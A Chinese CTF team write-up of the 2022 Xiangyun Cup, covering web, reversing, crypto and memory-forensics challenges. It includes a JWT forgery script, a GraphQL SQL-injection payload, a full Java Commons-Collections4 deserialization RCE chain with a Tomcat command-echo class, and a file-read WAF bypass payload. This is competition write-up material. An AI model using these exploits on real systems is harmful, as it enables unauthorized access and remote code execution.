这次比赛没有挂团队名,因为我们都害怕打不好给团队丢脸,当时都抱着爆0的心态去打的
此次参加比赛的师傅平均年龄19
HashRun安全团队-CTF组
[email protected]
注册一个admin账号发现页面会提示已经注册,其实本来想的是注入,但是发现注册功能活的,感觉二次注入可能也不是很大,注册一个账号登录进去发现功能正常绕了一圈没啥太大发现都要鉴权,这里我还没抓包,退出登录发现前端校验,当code值=0那么就登录成功和注册成功,我们直接输入admin密码瞎写,改响应包
发现没用,他是前端+后端
访问几个页面发现权限不足,抓数据包发现是jwt验证,意思就是说要让我们越权被,查看下功能点
说实话是真的巧,看到这我直接就想到了graphql注入,为什么?因为前几天实战的时候才碰到,那现在问题就是解决权限问题
发现需要公钥和私钥才能解密,问题是这个不可能去爆破,采用的是PS256加密,然后各种百度都没进展,感觉是0day,去github去看下有没有提交的iisue或者是commit
https://github.com/davedoesdev/python-jwt/commit/88ad9e67c53aa5f7c43ec4aa52ed34b7930068c9
最后发现这个,这个需要改下脚本,exp也在这里,大概意思就是说,我们不需要公钥和私钥就可以伪造jwt那么权限问题就可以解决我们现在构造下脚本,至于一些第三方库我也贴出来,脚本需要基于作者的改下(其实改动的地方挺多,看着改吧。。。。我就直接贴exp和库了)
依赖:
=1.4.2
gevent>=1.2.2
=3.0.0
=1.4.4
=4.0.3
=1.2.0
=1.3.0
exp:
""" Test claim forgery vulnerability fix """
from datetime import timedelta
from json import loads, dumps
from common import generated_keys
import python_jwt as jwt
from pyvows import Vows, expect
from jwcrypto.common import base64url_decode, base64url_encode
class ForgedClaims(Vows.Context):
""" Check we get an error when payload is forged using mix of compact and JSON formats """
def topic(self):
""" Generate token """
payload = {'sub': 'alice'}
#print(jwt.generate_jwt(payload, generated_keys['PS256'], 'PS256', timedelta(minutes=60)))
return jwt.generate_jwt(payload, generated_keys['PS256'], 'PS256', timedelta(minutes=60))
class PolyglotToken(Vows.Context):
""" Make a forged token """
def topic(self, topic):
""" Use mix of JSON and compact format to insert forged claims including long expiration """
[header, payload, signature] = topic.split('.')
parsed_payload = loads(base64url_decode(payload))
parsed_payload['is_admin'] = 1
parsed_payload['exp'] = 2000000000
fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))
print('{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}')
return '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'
class Verify(Vows.Context):
""" Check the forged token fails to verify """
def topic(self, topic):
""" Verify the forged token """
return jwt.verify_jwt(topic, generated_keys['PS256'], ['PS256'])
def token_should_not_verify(self, r):
""" Check the token doesn't verify due to mixed format being detected """
expect(r).to_be_an_error()
expect(str(r)).to_equal('invalid JWT format')
a = PolyglotToken()
print(a.topic("你的ps256的jwt"))
#print(jwt.generate_jwt(payload, generated_keys['PS256'], 'PS256', timedelta(minutes=60)))
这里我们需要把原作者的sub参数=bob改成admin_is=1
没有admin权限的jwt访问时不行的
运行下脚本
jwt伪造成功了,我们现在访问查询页面
现在就是要查询了
有个小坑,注册用户名的时候不能注册a开头的,因为你在后面sql注入查询的时候,没有where他是按照字母顺序查,这个坑踩了很多次
具体语法参考这个
https://blog.csdn.net/m0_51326092/article/details/119887029
https://zhuanlan.zhihu.com/p/40418866
但是需要稍稍改下
查询一圈没flag,那么我们查询admin密码
https://blog.csdn.net/weixin_50464560/article/details/125138835这有详细说明
query={
"userid'union select password from users'1=1"){ :
userid
name
score
}
直接出密码
然后直接登录获取flag
[email protected]、Fish
非常感谢fish师傅辅助我(比赛队内)
考点cc4+spring echo
下载源码对jar文件进行反编译
反编译,直指目的地,发现POST myTest会出现反序列化漏洞
检查程序,发现apache的common-collections 4而且其反序列化利用类未被Patch
考点发现就是cc4附上文章
https://blog.csdn.net/m0_64685672/article/details/122611195
外加spring echo网上有现成的poc
造轮子:
package moe.orangemc;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;
public class Main {
public static void main(String[] args) {
try {
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.getCtClass("Meow");
byte[] bytes = ctClass.toBytecode();
TemplatesImpl templates = new TemplatesImpl();
Field f1 = templates.getClass().getDeclaredField("_name");
Field f2 = templates.getClass().getDeclaredField("_bytecodes");
f1.setAccessible(true);
f2.setAccessible(true);
f1.set(templates, "Meow");
f2.set(templates, new byte[][]{bytes});
Transformer<Class<?>, Object> chainedTransformer = new ChainedTransformer(new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}));
TransformingComparator<Class<?>, Object> transformingComparator = new TransformingComparator<>(chainedTransformer);
PriorityQueue<Integer> queue = new PriorityQueue<>(2);
queue.add(1);
queue.add(1);
Field f = queue.getClass().getDeclaredField("comparator");
f.setAccessible(true);
f.set(queue, transformingComparator);
Field f3 = queue.getClass().getDeclaredField("queue");
f3.setAccessible(true);
f3.set(queue, new Object[] {chainedTransformer, chainedTransformer});
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(queue);
oos.close();
String result = new String(Base64.getEncoder().encode(baos.toByteArray()));
System.out.println(result);
} catch (Exception e) {
e.printStackTrace();
}
}
}
根据上文代码,发现无法回显,但根据百度发现可以利用apache的catalina进行回显,同时程序包里有这个类库
编写恶意类:
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class Meow extends AbstractTranslet {
public Meow() {
super();
this.namesArray = new String[]{"meow"};
try {
java.lang.reflect.Field contextField = org.apache.catalina.core.StandardContext.class.getDeclaredField("context");
java.lang.reflect.Field serviceField = org.apache.catalina.core.ApplicationContext.class.getDeclaredField("service");
java.lang.reflect.Field requestField = org.apache.coyote.RequestInfo.class.getDeclaredField("req");
java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler",null);
contextField.setAccessible(true);
serviceField.setAccessible(true);
requestField.setAccessible(true);
getHandlerMethod.setAccessible(true);
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =
(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(webappClassLoaderBase.getResources().getContext());
org.apache.catalina.core.StandardService standardService = (org.apache.catalina.core.StandardService) serviceField.get(applicationContext);
org.apache.catalina.connector.Connector[] connectors = standardService.findConnectors();
for (int i=0;i<connectors.length;i++) {
if (4==connectors[i].getScheme().length()) {
org.apache.coyote.ProtocolHandler protocolHandler = connectors[i].getProtocolHandler();
if (protocolHandler instanceof org.apache.coyote.http11.AbstractHttp11Protocol) {
Class[] classes = org.apache.coyote.AbstractProtocol.class.getDeclaredClasses();
for (int j = 0; j < classes.length; j++) {
if (52 == (classes[j].getName().length())||60 == (classes[j].getName().length())) {
System.out.println(classes[j].getName());
java.lang.reflect.Field globalField = classes[j].getDeclaredField("global");
java.lang.reflect.Field processorsField = org.apache.coyote.RequestGroupInfo.class.getDeclaredField("processors");
globalField.setAccessible(true);
processorsField.setAccessible(true);
org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) globalField.get(getHandlerMethod.invoke(protocolHandler,null));
java.util.List list = (java.util.List) processorsField.get(requestGroupInfo);
for (int k = 0; k < list.size(); k++) {
org.apache.coyote.Request tempRequest = (org.apache.coyote.Request) requestField.get(list.get(k));
System.out.println(tempRequest.getHeader("tomcat"));
org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) tempRequest.getNote(1);
String cmd = "" + "cat /flag" +"";
String[] cmds = !System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
java.io.InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
java.util.Scanner s = new java.util.Scanner(in).useDelimiter("n");
String output = s.hasNext() ? s.next() : "";
java.io.Writer writer = request.getResponse().getWriter();
java.lang.reflect.Field usingWriter = request.getResponse().getClass().getDeclaredField("usingWriter");
usingWriter.setAccessible(true);
usingWriter.set(request.getResponse(), Boolean.FALSE);
writer.write(output);
writer.flush();
break;
}
break;
}
}
}
break;
}
}
} catch (Exception e) {
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
把我们所有的东西组合起来,即可获得payload,但是注意要把最后的回车删掉,不然无法反序列化
然后得到flag
flag{97286f43-3e6a-4943-8e17-f19e1c2377aa}
[email protected]
/src 得到nodejs源代码
通过源码可以看到路由分别有三个/readfile、/、/src
并且可以通过源码知道我们操作的地方再/readfile并且定义了直接post传再body
其实这个就是利用fs这个东西,这个刷过ctfshow的同学都知道,可以读文件
这里提一嘴一般xss->rce其实用的都是child_process,然后使用exec或者execSync等,来执行系统命令
const express = require('express');
const app = express();
const bodyParser = require("body-parser")
const fs = require("fs")
app.use(bodyParser.text({type: '*/*'}));
const { execFileSync } = require('child_process');
app.post('/readfile', function (req, res) {
let body = req.body.toString();
let file_to_read = "app.js";
const file = execFileSync('/app/rust-waf', [body], {
encoding: 'utf-8'
}).trim();
try {
file_to_read = JSON.parse(file)
} catch (e){
file_to_read = file
}
let data = fs.readFileSync(file_to_read);
res.send(data.toString());
});
app.get('/', function (req, res) {
res.send('see `/src`');
});
app.get('/src', function (req, res) {
var data = fs.readFileSync('app.js');
res.send(data.toString());
});
app.listen(3000, function () {
console.log('start listening on port 3000');
});
代码比较简单,重点就是在 /readfile 目录下读取文件,而会直接从post body获取文件名,测试读 取 /etc/passwd 成功
但是读取flag的时候没有成功,返回了rust的代码。可以发现如果payload中包含flag或者proc就会直接 返回文件内容,如果绕过了再判断payload如果是json格式,那么是否存在key为 protocol ,如果存在 也直接返回文件内容
exp:
use std::env;
use serde::{Deserialize, Serialize};
use serde_json::Value;
static BLACK_PROPERTY: &str = "protocol";
#[derive(Debug, Serialize, Deserialize)]
struct File{
#[serde(default = "default_protocol")]
pub protocol: String,
pub href: String,
pub origin: String,
pub pathname: String,
pub hostname:String
}
pub fn default_protocol() -> String {
"http".to_string()
}
//protocol is default value,can't be customized
pub fn waf(body: &str) -> String {
if body.to_lowercase().contains("flag") ||
body.to_lowercase().contains("proc"){
return String::from("./main.rs");
}
//protocol is default value,can't be customized
pub fn waf(body: &str) -> String {
if body.to_lowercase().contains("flag") ||
body.to_lowercase().contains("proc"){
return String::from("./main.rs");
}
if let Ok(json_body) = serde_json::from_str::<Value>(body) {
if let Some(json_body_obj) = json_body.as_object() {
if json_body_obj.keys().any(|key| key == BLACK_PROPERTY) {
return String::from("./main.rs");
}
}
if let Ok(file) = serde_json::from_str::<File>(body) {
return serde_json::to_string(&file).unwrap_or(String::from("./main.rs"));
}
} else{
//body not json
return String::from(body);
}
return String::from("./main.rs");
}
fn main() {
let args: Vec<String> = env::args().collect();
println!("{}", waf(&args[1]));
}
发现corctf的某道题和这道题类似,也是绕过fs.readfileSync
连接:
https://viblo.asia/p/corctf-2022-writeup-part-1-m68Z0Joj5kG#_c-challenge-solution-3
https://github.com/nodejs/node/blob/cca44bc50cdf21676997c394756b2482cfb5fa22/lib/internal/url.js#L1486
将payload以json格式传,但是这里用到的payload中存在protocol导致rust能检测到,要利用unicode 绕过
最终payload:
{"hostname":"","pathname":"/fl%61g","protocol":"file:","origin":"fuckyou","prud800otocol":"file:","href":"fuckyou"}
[email protected]
下载下来,一看,.snapshot???懵逼
有点像脚本语言的字节码..
必应查一下,没出来啥
看导入函数,charCodeAt,判断是js
js有好多实现,要找找是哪种
结合开头JRRYF和题目名字里的tom,让我想起了猫和老鼠.
这时候看到一个项目,名字叫jerryscript,背底是奶酪.
又看到里面源码有解析.snapshot文件,基本确定了就是他了
配置好环境后,看help(英语阅读题),看到可以输出opcode.
输出之,发现sm4的常量以及函数名,所以断定是sm4.
解密得到结果,用ctf{}包上就提交了.脚本如下图
exp
##############################################################################
# #
# 国产SM4加密算法 #
# #
##############################################################################
##根据网上大神的脚本改的
import binascii
import struct
from gmssl import sm4
def getarr(a):
ddd=[]
for i in range(len(a)):
s=a[i]
ddd.append(s&0xff)
s>>=8
ddd.append(s&0xff)
s>>=8
ddd.append(s&0xff)
s>>=8
ddd.append(s&0xff)
ddd[i<<2:(i<<2)+4]=ddd[i<<2:(i<<2)+4][::-1]
return bytes(ddd)
class SM4:
"""
国产加密 sm4加解密
"""
def __init__(self):
self.crypt_sm4 = sm4.CryptSM4() # 实例化
def decryptSM4(self, decrypt_key, encrypt_value):
"""
国密sm4解密
:param decrypt_key:sm4加密key
:param encrypt_value: 待解密的十六进制值
:return: 原字符串
"""
crypt_sm4 = self.crypt_sm4
crypt_sm4.set_key(decrypt_key, sm4.SM4_DECRYPT) # 设置密钥
decrypt_value = crypt_sm4.crypt_ecb(encrypt_value) # 开始解密。十六进制类型
return decrypt_value
# return self.str_to_hexStr(decrypt_value.hex())
if __name__ == '__main__':
key = getarr([19088743,2309737967,4275878552,1985229328])
strData = getarr([1605062385,-642825121,2061445208,1405610911,1713399267,1396669315,1081797168,605181189,1824766525,1196148725,763423307,1125925868])
strData=bytes(strData)
SM4 = SM4()
decData = SM4.decryptSM4(key, strData)
print("sm4解密结果:", decData) # 解密后的数据
ctf{w3_f0und_1t_112ug31vjhe121f21fas}
Little [email protected]
遇事不决去百度代码,发现
https://blog.maple3142.net/2022/07/18/cryptoctf-2022-writeups中有类似代码
根据writeup即可求出p和q
题目提示是小费马,百度即可得到费马小定理
https://zh.wikipedia.org/wiki/%E8%B4%B9%E9%A9%AC%E5%B0%8F%E5%AE%9A%E7%90%86
根据费马小定理我们可以从assert 114514 ** x % p == 1得出x = p - 1按照正常rsa解法解即可
exp:
from Crypto.Util.number import *
from random import *
from libnum import *
import gmpy2
from itertools import combinations, chain
e = 65537
n = 14132106732571642637548350691522493009724686596047415506904017635686070743554027091108158975147178351963999658958949587721449719649897845300515427278504841871501371441992629
9248566038773669282170912502161620702945933984680880287757862837880474184004082619880793733517191297469980246315623924571332042031367393
c = 81368762831358980348757303940178994718818656679774450300533215016117959412236853310026456227434535301960147956843664862777300751319650636299943068620007067063945453310992828
498083556205352025638600643137849563080996797888503027153527315524658003251767187427382796451974118362546507788854349086917112114926883
tp = [gmpy2.mpz(1 << i) for i in range(512)]
it = chain(*[combinations(range(3, 417 - 3), i) for i in range(4)])
for cf in it:
A = -sum([tp[i] for i in cf])
D = A**2 + 4 * n
if gmpy2.is_square(D):
d = gmpy2.isqrt(D)
p = (-A + d) // 2
q = n // p
break
x=p-1
d = pow(e, -1, (p - 1) * (q - 1))
m=pow(c, d, n)
print(pow(c, d, n))
print(long_to_bytes(m^(x**2)))
strange_forensics
首先这个题目是一道取证题目,我们要先确定下系统版本
strings dump.raw | grep -i 'Linux version' | uniq
flag1:
使用脚本
python2 vol.py linux_enumerate_files | grep "/etc/shadow" 可以获取到用户密码的哈希,然后导出
linux_find_file导出,然后哈希解密,得到flag1
volatility2有现成的
flag2:
有个压缩包,导出文件发现文件损坏,我们将加密位从0修复为9,然后发现压缩包加密,我们对压缩包密码进行爆破即可是一个六位数字:123456
flag3:
直接执行
strings 1.mem | grep "flag3"
就ok
flag{890topico_y0u_Ar3_tHe_LInUx_forEnsIcS_MASTER}
[email protected]
http://factordb.com/直接分解出p,q。然后常规RSA解密
exp:
import libnum
from Crypto.Util.number import long_to_bytes
c = 97724073843199563126299138557100062208119309614175354104566795999878855851589393774478499956448658027850289531621583268783154684298592331328032682316868391120285515076911892737051842116394165423670275422243894220422196193336551382986699759756232962573336291032572968060586136317901595414796229127047082707519
n = 253784908428481171520644795825628119823506176672683456544539675613895749357067944465796492899363087465652749951069021248729871498716450122759675266109104893465718371075137027806815473672093804600537277140261127375373193053173163711234309619016940818893190549811778822641165586070952778825226669497115448984409
e = 31406775715899560162787869974700016947595840438708247549520794775013609818293759112173738791912355029131497095419469938722402909767606953171285102663874040755958087885460234337741136082351825063419747360169129165
q = 21007149684731457068332113266097775916630249079230293735684085460145700796880956996855348862572729597251282134827276249945199994121834609654781077209340587
p = 12080882567944886195662683183857831401912219793942363508618874146487305963367052958581455858853815047725621294573192117155851621711189262024616044496656907
d = libnum.invmod(e, (p - 1) * (q - 1))
m = pow(c, d, n)
print(long_to_bytes(m))
flag{9aecf8d8-6966-4ffa-96b0-2e744d28baf2}
[email protected]秋风
首先下载下来题目
发现有trace.out和task.py
发现12000+行
写个脚本
import libnum
from Crypto.Util.number import long_to_bytes
n = 113793513490894881175568252406666081108916791207947545198428641792768110581083359318482355485724476407204679171578376741972958506284872470096498674038813765700336353715590069074081309886710425934960057225969468061891326946398492194812594219890553185043390915509200930203655022420444027841986189782168065174301
c = 64885875317556090558238994066256805052213864161514435285748891561779867972960805879348109302233463726130814478875296026610171472811894585459078460333131491392347346367422276701128380739598873156279173639691126814411752657279838804780550186863637510445720206103962994087507407296814662270605713097055799853102
e = 65537
tag1 = 1
tag2 = 0
F = open("trace.out","r")
arr = F.readlines()
for i in arr[::-1]:
if "a = a - b" in i:
tag1 = tag1 + tag2
#print(tag1)
#print(tag2)
if "a, b = b, a" in i:
tag1, tag2 = tag2, tag1
#print(tag1)
#print(tag2)
if "a = rshift1(a)"in i:
tag1 = tag1 << 1
#print(tag1)
#print(tag2)
if "b = rshift1(b)" in i:
tag2 = tag2 << 1
#print(tag1)
#print(tag2)
phi = tag1
#print(phi)
d = libnum.invmod(e, phi)
m = pow(c, d, n)
print(long_to_bytes(m))
flag{a526344-a8c7-411d-bf53-ef6a2479de1a}
原文始发于微信公众号(HashRun安全团队):2022HashRun安全团队祥云杯wp
- 我的微信
- 微信扫一扫
-
- 我的微信公众号
- 微信扫一扫
-
评论